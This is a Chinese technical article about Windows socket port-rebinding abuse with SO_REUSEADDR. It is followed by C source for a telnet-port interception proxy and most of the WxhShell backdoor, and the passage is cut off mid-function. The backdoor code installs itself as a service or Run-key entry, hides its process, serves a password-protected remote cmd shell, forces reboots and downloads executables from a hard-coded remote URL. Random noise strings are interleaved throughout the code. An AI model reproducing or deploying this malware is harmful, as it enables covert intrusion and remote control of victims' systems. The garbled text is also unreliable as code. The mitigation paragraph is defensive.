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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O%h
97^%k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O5n]4)< yA )+- saddr.sin_family = AF_INET; {*P7) 9(gOk saddr.sin_addr.s_addr = htonl(INADDR_ANY); |^9ig_k` !urd
$Ta bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [tw<TV"\ (HD>vNha1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K{|dt W& `Q_ R/9~ 这意味着什么?意味着可以进行如下的攻击: uN^qfJ'@
> *[/Xhx" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?ut juMdl .&!{8jBX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +o70:UF % *:\9T#h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UDq KF85H iKTU28x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _=$!T;}lE 4Tw1gas. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cO?"
R$,iDv.jI 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @V
CQ4X7T ialk6i![ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V\8
5 %cif0Td #include &!aLOx*3` #include 0r&9AnnWu+ #include HbVV]y #include _BA_lkN+D DWORD WINAPI ClientThread(LPVOID lpParam); uWT&`m_(2 int main() 49kia!FR { `r bqYU0 WORD wVersionRequested; k EDZqUD DWORD ret; L|'ME|
' WSADATA wsaData; 9&FV=}MO BOOL val; ,TA[el%# SOCKADDR_IN saddr; j`pR;XL1[ SOCKADDR_IN scaddr; i*E`<9 int err; ee?ZkU#@ SOCKET s; 5"]2@@b4 SOCKET sc; +>%+r int caddsize; )Ea_:C' HANDLE mt; M!i5StGC DWORD tid; &_^<B7aC'k wVersionRequested = MAKEWORD( 2, 2 ); W {/z-& err = WSAStartup( wVersionRequested, &wsaData ); FPFYH?;$ if ( err != 0 ) { jmNj#R@t printf("error!WSAStartup failed!\n"); kO>{<$ return -1; lR3^&d72? } q%&7J< saddr.sin_family = AF_INET; _cs9R% \r9%;?f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W,J,h6{F k.Nu(j"z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i^KYZ4/% saddr.sin_port = htons(23); %dR./{txT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VO6y9X" { /pN2Jst printf("error!socket failed!\n"); Wm&f+{LO+K return -1; + # >%bq x } ?LFSR val = TRUE; i(kK!7W35 //SO_REUSEADDR选项就是可以实现端口重绑定的 &fj?hYAj if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9m9=O&C~-< { *[YN| printf("error!setsockopt failed!\n"); 1"6k5wrIA return -1; 8H b|'Q|^ } '$^ F.2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mdh"G @$n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mf'1.{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Jjq%cA I]$d,N!. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jYZWf `X~ { dG$0d_Pq ret=GetLastError(); YTit=4| printf("error!bind failed!\n"); _x{x#d;L3 return -1; +yI^<BH } k| o,gcU listen(s,2); ![tI(TPq while(1) v[
'5X { JwczE9~o caddsize = sizeof(scaddr); ?@(H.
D6'v //接受连接请求 uK5Px! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hj1jY if(sc!=INVALID_SOCKET) :W.(,65c { :wAB"TCt0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1w^[Eno$$ if(mt==NULL) ufPQ~,. { TZ2f-KI printf("Thread Creat Failed!\n"); B6oAW ,3 break; OK}"|:hrd } F#wa)XH } z+I-3v CloseHandle(mt); b1o(CG(}* } !Esiq<Yh closesocket(s); dY.uOafr WSACleanup(); KJfyh=AD( return 0; {`Z)'G\` } NBYE#Uih DWORD WINAPI ClientThread(LPVOID lpParam) PBv43uIL { VA.1JBQ SOCKET ss = (SOCKET)lpParam; }6N|+z.cU SOCKET sc; x6tY _lzJ unsigned char buf[4096]; ]H[\~J SOCKADDR_IN saddr; N-]n>E long num; N';lc:Ah~ DWORD val; B)dynGF8i DWORD ret; 2ZeL //如果是隐藏端口应用的话,可以在此处加一些判断 KA#-X2U/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Hkt'~L* saddr.sin_family = AF_INET; ]0le=Ee^% saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +s}28U! saddr.sin_port = htons(23); E>D@#I> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) swA"_A8>u { W~FA9Jd'Z printf("error!socket failed!\n"); @~ L.m}GF return -1; Y."[k&P- } ja2]VbB val = 100; dr o42#$Mo if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) op C11c/ { |M_Bbo@ud ret = GetLastError(); 48`<{|r{ return -1; \tqAv'jA| } $u
sU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xWm'E2 { H5{J2M,f ret = GetLastError(); wSMgBRV#^ return -1; L\[jafb_` } ~^*tIIOX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) th)jEK;Z { {xX|5/z printf("error!socket connect failed!\n"); z-j \S7F closesocket(sc); +h/$_5 closesocket(ss); ijB,Q>TgO return -1; x{}m)2[ Y } o<4LL7$A! while(1) .R,8<4 { @\R)k(F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^-_!:7TH] //如果是嗅探内容的话,可以再此处进行内容分析和记录 (XH)1 -Z! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <]nI)W( num = recv(ss,buf,4096,0); 2srz) xEe if(num>0) 0^4*[?l9q send(sc,buf,num,0); D 4wB
&~U else if(num==0) 2H#vA break; /MC\!,K num = recv(sc,buf,4096,0); g:g>;"B
O if(num>0) I"1\R8
R send(ss,buf,num,0); q.7CPm+ else if(num==0) ^ytd~iK8 break; $j/F7.S } ~0NZx8qG closesocket(ss); ')+EW"
e closesocket(sc); #C`!yU6( return 0 ; n_<]9 } Mx
}(w\\T :<W8uDAs QI-3mqL ========================================================== S;g~xo ?cvv!2B]T 下边附上一个代码,,WXhSHELL b/EvcN8 } )+G(4eIT ========================================================== Q7\Ax0 jDoWSYu4tY #include "stdafx.h" %WNy=V9txp N?XN$hwdZ #include <stdio.h> ,]MX&] #include <string.h> mR^D55k #include <windows.h> k#.co~kS #include <winsock2.h> @&+
1b= #include <winsvc.h> <3bh-) #include <urlmon.h> weOMYJO;8 {e^llfj$# #pragma comment (lib, "Ws2_32.lib") Tla*V#:Ve #pragma comment (lib, "urlmon.lib") vBp5&* ?>_.~b~ #define MAX_USER 100 // 最大客户端连接数 I2dt# #define BUF_SOCK 200 // sock buffer
,Y!)V #define KEY_BUFF 255 // 输入 buffer 'K1w.hC< =aCv
Xa&, #define REBOOT 0 // 重启 aE"t[' #define SHUTDOWN 1 // 关机 Wac8x%J
ZDf9Npe #define DEF_PORT 5000 // 监听端口 wmIq{CXx, + |,CIl+ #define REG_LEN 16 // 注册表键长度 ,y.0Cb0 #define SVC_LEN 80 // NT服务名长度 JnZxP> 2B 5?O"N // 从dll定义API =pNkS1ey typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r\]WDX!` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZUh<2F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {1Qwwhov typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `u U@( Rg6>6.fk* // wxhshell配置信息 1pK7EK3R struct WSCFG { nxt1Y04,H int ws_port; // 监听端口 +G~b-} char ws_passstr[REG_LEN]; // 口令 qH
~usgqB7 int ws_autoins; // 安装标记, 1=yes 0=no bchhokH char ws_regname[REG_LEN]; // 注册表键名 Di6:r3sEO char ws_svcname[REG_LEN]; // 服务名 iY2bRXA char ws_svcdisp[SVC_LEN]; // 服务显示名 /vMpSN|3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 86_Zh5: char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q,$x6YwE int ws_downexe; // 下载执行标记, 1=yes 0=no ;i]cmy char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $Z j. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EPI*~=Z.U MS b{ve_ }; =Yfs=+O R[V%59#{Z // default Wxhshell configuration x.q%O1 struct WSCFG wscfg={DEF_PORT, W%P&o}' "xuhuanlingzhe", ^Ni)gm{?k 1, V)]&UbEL| "Wxhshell", | @YN\g K; "Wxhshell", 7 XY C.g "WxhShell Service", YJ9_cA'A "Wrsky Windows CmdShell Service", d_`Ze.^
"Please Input Your Password: ", 0jXIx2y 1, Q6BWax| " http://www.wrsky.com/wxhshell.exe", Cfj*[i4 "Wxhshell.exe" `{/=i|6 }; z23KSPo SbZk{lWcq // 消息定义模块 |qr[*c 3$1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b{oNV-<&{ char *msg_ws_prompt="\n\r? for help\n\r#>"; Y/+ D4^L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :$WRV- char *msg_ws_ext="\n\rExit."; N_>s2 char *msg_ws_end="\n\rQuit."; Q>r Q/V char *msg_ws_boot="\n\rReboot..."; =4[zt^WX" char *msg_ws_poff="\n\rShutdown..."; O []+v char *msg_ws_down="\n\rSave to "; qgDBu\ 1pn167IQL char *msg_ws_err="\n\rErr!"; .D) }MyKnu char *msg_ws_ok="\n\rOK!"; Cn"N5(i gk&?h7P"< char ExeFile[MAX_PATH]; B8PF}Mf int nUser = 0; #Kl;iY:n HANDLE handles[MAX_USER]; YZk& 'w int OsIsNt; eAqQ~)8^ e\h:==f SERVICE_STATUS serviceStatus; ka'MF;!rc SERVICE_STATUS_HANDLE hServiceStatusHandle; 52"/Zr }j enNn*.*| // 函数声明 rYLNV!_ int Install(void); Z(.Tl M2h int Uninstall(void); d/^^8XUK int DownloadFile(char *sURL, SOCKET wsh); VTHDGBU int Boot(int flag); V_~wWuZ- void HideProc(void); r*g _ int GetOsVer(void); ;)kBJ @ int Wxhshell(SOCKET wsl); 2P|-V} ;9 void TalkWithClient(void *cs); ^R\blJQ<^ int CmdShell(SOCKET sock); 4?&=H
*H: int StartFromService(void); OT [t
EqQ int StartWxhshell(LPSTR lpCmdLine); /i"EVN`t sq^,l6es> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y7p#K<y]9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0I
k@d'7 s?2;u p*D // 数据结构和表定义 Ky DBCCOv SERVICE_TABLE_ENTRY DispatchTable[] = QZ`<+"a0 { N@VD-}E {wscfg.ws_svcname, NTServiceMain}, 5
9X|l&/ {NULL, NULL} -LY_7Kg }; H(X~=r Vs"Z9p$U // 自我安装 T>z@;5C int Install(void) 936t6K& { gK>Vm9rO char svExeFile[MAX_PATH]; /x-t-} HKEY key; (lm/S_U$ strcpy(svExeFile,ExeFile); L{=z}QO P~#jvm! // 如果是win9x系统,修改注册表设为自启动 N >z8\y if(!OsIsNt) { @s/ qOq? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h"'f~KM9a> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [L275]4n!] RegCloseKey(key); $p0s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NUU}8a(K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9O)>>1}*S RegCloseKey(key); @@$
_TaI return 0; .{}t[U } 2 rH6ap } |N g[^ } 3o?Lz7L else { "6}+|!"$ >5j/4Ly // 如果是NT以上系统,安装为系统服务 (-#{qkA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0TNzVsu7 if (schSCManager!=0) p$V+IJtO( { S\,{qhd SC_HANDLE schService = CreateService ff0B*0 ( Fc]#\d6 schSCManager, q8D1MEBL` wscfg.ws_svcname, [brrziZ wscfg.ws_svcdisp, @!S$gTz SERVICE_ALL_ACCESS, EAI[J&c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +2g3%c0} SERVICE_AUTO_START, zPXd]jIwV SERVICE_ERROR_NORMAL, :JS}(
svExeFile, *vb)d0}P NULL, @Q^;qMy NULL, @4|/| ! NULL, pr?/rXw NULL, "gO5dZ\0 NULL B^qB6:\t ); M{H&5 9v if (schService!=0) -7`J(f.rYC { 4{R` CloseServiceHandle(schService); n5i}J/Sa2 CloseServiceHandle(schSCManager); k8ck#%#}Wu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0QpWt strcat(svExeFile,wscfg.ws_svcname); Z/x1?{z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \Q$);:=qQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gXQ)\MY RegCloseKey(key); . FruI#99 return 0; o]Ki+ U } V OX>Sl } PTP2QAt CloseServiceHandle(schSCManager); t|q=NK/ } }>w;
+XU } d?K8Ygz dO@iq^9- return 1; 9~_6mR< } Gl:ASPZ6 <ZiO[dEV // 自我卸载 RoTT%c P_ int Uninstall(void) lO
*Hv9# { 4L0LT>'M\ HKEY key; c"xaN pI`Ke" if(!OsIsNt) { ,?qS#B+> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Tx8^|b#F RegDeleteValue(key,wscfg.ws_regname); K+\hv~+@ RegCloseKey(key); r$7rYxFR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c>g%oE RegDeleteValue(key,wscfg.ws_regname); W@tLT[}CG RegCloseKey(key); :-Pj )Y{I return 0; 8M|Q^VeT,1 } ,aJrN!fzU } uv5@Alm } E;sltl else { fCfY.vd5 m";gD[m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !S:@x.n@iR if (schSCManager!=0) IFY!3^;zO { ,&-[$, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b$`O|S if (schService!=0) .phQ7":` { ^wlep1D
if(DeleteService(schService)!=0) { <'-me09C* CloseServiceHandle(schService); FuKNH~MevQ CloseServiceHandle(schSCManager); $W]bw#NH return 0; Oc.>$ } !xI![N^ CloseServiceHandle(schService); =Vs<DO{|4q } 9E^piLA CloseServiceHandle(schSCManager); Ba6xkEd } UU/|s>F } g6V*wjC <G>PPf} return 1; =X*E(.6Ip } Fo#*_y5\ 8'_Y=7b0Nw // 从指定url下载文件 ^Ram8fW int DownloadFile(char *sURL, SOCKET wsh) 'UxA8i(
{ 0"`skYJ@ HRESULT hr; d%hA~E1rR char seps[]= "/"; m5Kx}H~ char *token; Mx"tUoU6z char *file; MF`'r#@:wa char myURL[MAX_PATH]; St`m52V(5X char myFILE[MAX_PATH]; E` |qFG< gISs+g strcpy(myURL,sURL); ${wE5^ky token=strtok(myURL,seps); U&R$(k0zS while(token!=NULL) @XmkIm { 67x^{u7 file=token; %u}sVRJ token=strtok(NULL,seps); v knFtpx } YC'~8\x3z @Hh"Y1B GetCurrentDirectory(MAX_PATH,myFILE); B}X#oA strcat(myFILE, "\\"); 1*h7L<#|mQ strcat(myFILE, file);
6qlr+f send(wsh,myFILE,strlen(myFILE),0); B*IDx`^Y send(wsh,"...",3,0); 6K}=K?3Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K}BX6dA if(hr==S_OK) w C"%b#(} return 0; Q_.Fw\l$` else F S:WbFmc return 1; 27:x5g? CvJEY } @:B1 \`ReZu$ // 系统电源模块 z7C1&bGe int Boot(int flag) =*jcO119L { x3|'jmg HANDLE hToken; ]||=<!^kn TOKEN_PRIVILEGES tkp; 'QF>e @g~sgE}# if(OsIsNt) { aehMLl9cl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =L%3q <]p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [<QWTMjR tkp.PrivilegeCount = 1; gN~y6c:N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H%]ch6C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Phu|
hx< if(flag==REBOOT) { +ctv]'P_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K5&C}Ey1 return 0; LnS>3$t* } HU9y{H else { .Er/t"Qs; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BtChG] N| return 0; o"[bIXf-h } $:!T/*p* } Hw&M2a else {
+;;%Atgn if(flag==REBOOT) {
}8 _9V|E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0(x@
NGb>{ return 0; -^v}T/Kl# } Ir #V2]$ else { z D<9A6AB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j*d~h$[k return 0; ^~ $& } -FV'%X$i } 0!`7kZrN ~e9INZe-j return 1; !U:s.^{ } ecpUp39\ r:4IKuTR // win9x进程隐藏模块 E2'e}RQ void HideProc(void) ZGhoV#T@ { twmJ n5*7~K"C HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s$x] fO if ( hKernel != NULL )
}TJ|d= { -i5g 8t' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3z92Gy5cr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); % T \N@ FreeLibrary(hKernel); sA-W^*+ } _x6E_i-( q-
(NZno return; KxmPL } fMPq Q0Qm0B5eY // 获取操作系统版本 O'|P| int GetOsVer(void) Ks2%F&\cE { %C0O?q OSVERSIONINFO winfo; E:=KH\2f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )+4}Ix/q GetVersionEx(&winfo); O) %kl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '.
Hp*9R return 1; h!av)nhM else vx}Z return 0; Ej09RO"pB } 5|G3t`$pa :;q_f+U // 客户端句柄模块 .y9rM{h}b int Wxhshell(SOCKET wsl) xWz;5=7a] { _ZM9
"<M-X SOCKET wsh; F%Umau*1 struct sockaddr_in client; }"B? 8T@_~ DWORD myID; tW"ptU^9) 1idjX"' while(nUser<MAX_USER) a {$k<@Ww { 0k0c int nSize=sizeof(client); vq:OH
H wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i2a"J&,6O if(wsh==INVALID_SOCKET) return 1; [Pwo,L,) |z.GSI_!) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bL],KW;Q if(handles[nUser]==0) s/vOxGc closesocket(wsh); iSz@E&[X else m2q;^o:J nUser++; o / g+Z } "Xk%3\{P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +M
O5'z J*~2:{=% return 0; `}8@[iB' } Q=L$7 maUHjI
5A- // 关闭 socket %^?3s5PXD void CloseIt(SOCKET wsh) uj9tr`Zh
{ P,;b'-5C closesocket(wsh); %>9+1lUhV nUser--; u4,X.3V]A ExitThread(0); b}&7~4zw } + }XL>=-5 ciGpluQF // 客户端请求句柄 |8qK%n f} void TalkWithClient(void *cs) u~- fK'/!| { /z)3gsF @S"pJeP/f SOCKET wsh=(SOCKET)cs; a3dzok char pwd[SVC_LEN]; -8Jl4F , char cmd[KEY_BUFF]; *- IlF] char chr[1]; R-A'v&= int i,j; JdUz!=I g3~~"`2 while (nUser < MAX_USER) { lc3S|4 3pTS@ if(wscfg.ws_passstr) { kV:FJx0xP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Ma/b= Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $mI:Im`s //ZeroMemory(pwd,KEY_BUFF); ZA_zKJ[[7 i=0; Y =g>r]2 while(i<SVC_LEN) { g"!#]LLe ,;cel^.b // 设置超时 }]g95xT fd_set FdRead; ]Z$TzT&@% struct timeval TimeOut; (O_t5<A*X FD_ZERO(&FdRead); 2Z;`#{ FD_SET(wsh,&FdRead); mU3Y) TimeOut.tv_sec=8; +)JNFy- TimeOut.tv_usec=0; '/u:,ar int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `gt&Y- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); or%gTVZ >1a\%G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @W1WReK]f pwd =chr[0]; tFvgvx\: if(chr[0]==0xd || chr[0]==0xa) { [}p pwd=0; _/jUs_W break; Ku0H?qft( } .kbr?N,' i++; 0/SC } L*
khj 3; qJX+[PJ // 如果是非法用户,关闭 socket B3cf] S% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BA1MGh } t(j_eq}J ,a9D~i 9R send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *dG}R#9Nv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 18O@ 1M '"xL}8HX} while(1) { 4j.
|Y qu<B%v ZeroMemory(cmd,KEY_BUFF); >w2Q1! (zS2Ndp // 自动支持客户端 telnet标准 ^.@yF;H j=0; |C$:]MZx while(j<KEY_BUFF) { 4V228>9w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =GH@.3`X cmd[j]=chr[0]; H]tSb//qc if(chr[0]==0xa || chr[0]==0xd) { N#RD:"RS! cmd[j]=0; 462!;/y break; 192 .W+H< } pcRF:~TE j++; )BF \!sTn } u>,lf\Fgz XN~#gm#
// 下载文件 g{A3W) [ b if(strstr(cmd,"http://")) { <ELziE~>V send(wsh,msg_ws_down,strlen(msg_ws_down),0); BcZEa^^~os if(DownloadFile(cmd,wsh)) &\"Y/b] send(wsh,msg_ws_err,strlen(msg_ws_err),0); !B [1zE else ]r/(n]=( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v:veV. y } f.b8ZBNj> else { IOsXPf9@ uQ:ut( switch(cmd[0]) { VD9
q5tt7 vx\nr8'k // 帮助 y3={NB+ case '?': { `d}W;&c send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I" 8d5a} break; 6P%<[Z } ilDJwZg# // 安装 < -Hs<T|tW case 'i': { :b<-[8d& if(Install()) mD D4_E2* send(wsh,msg_ws_err,strlen(msg_ws_err),0); _l#3]# else ERp:EZ' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oF%^QT"R break; gB/;clCdX) }
&7L~PZ // 卸载 (MgL"8TS case 'r': { ur/Oc24i1n if(Uninstall()) 3E<aiGU send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZ@Gu
else 9nng}em>. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?vZWUWa break; vQ:x%=] } 'v'`
F*6 // 显示 wxhshell 所在路径 xNC* ]8d case 'p': { }': EJ~H char svExeFile[MAX_PATH]; C+/Eqq^( strcpy(svExeFile,"\n\r"); ojN`#%X strcat(svExeFile,ExeFile); ?@Z7O.u send(wsh,svExeFile,strlen(svExeFile),0); <KHv|)ak break; #'J~Xk } Qy{NS.T // 重启 ?*CRa$_I| case 'b': { sTd}cP send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &q4ox7 1 if(Boot(REBOOT)) /QrA8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'fS?xDs-v else { JZ %`%rA closesocket(wsh); W.yV/fu ExitThread(0); vx04h ~ } &e%{k@ break; @
\!KF*v } H,(F1+~d // 关机 96vj)ql case 'd': { -`-ACWeNV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jv*Dg ( if(Boot(SHUTDOWN)) pZu?V"R send(wsh,msg_ws_err,strlen(msg_ws_err),0); CHPL>'NJzc else { SW3wMPy&s closesocket(wsh); AU0$A403 ExitThread(0); ow-+>Y[qZ } Ezi' 2Sc break; "I5uDFZR& } |*%/ovg+ // 获取shell jZa25Z00 case 's': { >oe4mW CmdShell(wsh); B1y<.1k closesocket(wsh); 6eD(dZ ExitThread(0); TRSOO} break; h^['rmd } 9TqnzD // 退出 W=~id"XtJ case 'x': { "w;08TX8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M_tj7Q3
W CloseIt(wsh); zXQVUhL6 break; 3|q2rA } 86/. 8 // 离开 ''_,S,.a20 case 'q': { 1pWk9Xuh send(wsh,msg_ws_end,strlen(msg_ws_end),0); t G]N*%@ closesocket(wsh); d0'7efC+ WSACleanup(); HpW"lYW4 exit(1); T48BRVX-F break; u06tDJ[ } xy2\'kS`G } {V.Wk } Z/xV\Ggx MO[c0n% // 提示信息 /^d. &@* if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AeN 3<|RN } W5pn;u- sz } *:?QB8YJ *f{7 return; g+igxC}2z } I9;xz ES 7`Qde!+C // shell模块句柄 >+L7k^[,0 int CmdShell(SOCKET sock) |Es0[cU { U> W|(Y STARTUPINFO si; m[8IEKo ZeroMemory(&si,sizeof(si)); 5$anqGw si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $?-7OXj< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HB%K|&!+ PROCESS_INFORMATION ProcessInfo; 7@JjjV char cmdline[]="cmd"; HHZ`% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -4 8`#"xy return 0; {&E?<D2_& } YmOldR9v( E\ tL // 自身启动模式 J)_>%. int StartFromService(void) wqcDAO( { 6Ux[,]GK typedef struct '[%jjUU { ?qy*s3j'M DWORD ExitStatus; [@ILc*2O DWORD PebBaseAddress; ebzzzmwo DWORD AffinityMask; 1y7y0V DWORD BasePriority; X|,["Az
8 ULONG UniqueProcessId; Pv~: gP ULONG InheritedFromUniqueProcessId; B4@fY } PROCESS_BASIC_INFORMATION; XWJ SLN(O 2bkJ /u`i PROCNTQSIP NtQueryInformationProcess; ;r3}g"D@ tp@*=*^I static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~H7!MC~K static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H*GlWgfG JT}.F!q6E HANDLE hProcess; HV8I nodi PROCESS_BASIC_INFORMATION pbi; ?5`{7daot V- /YNRV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AH|Y<\ if(NULL == hInst ) return 0; '|_/lz$h h
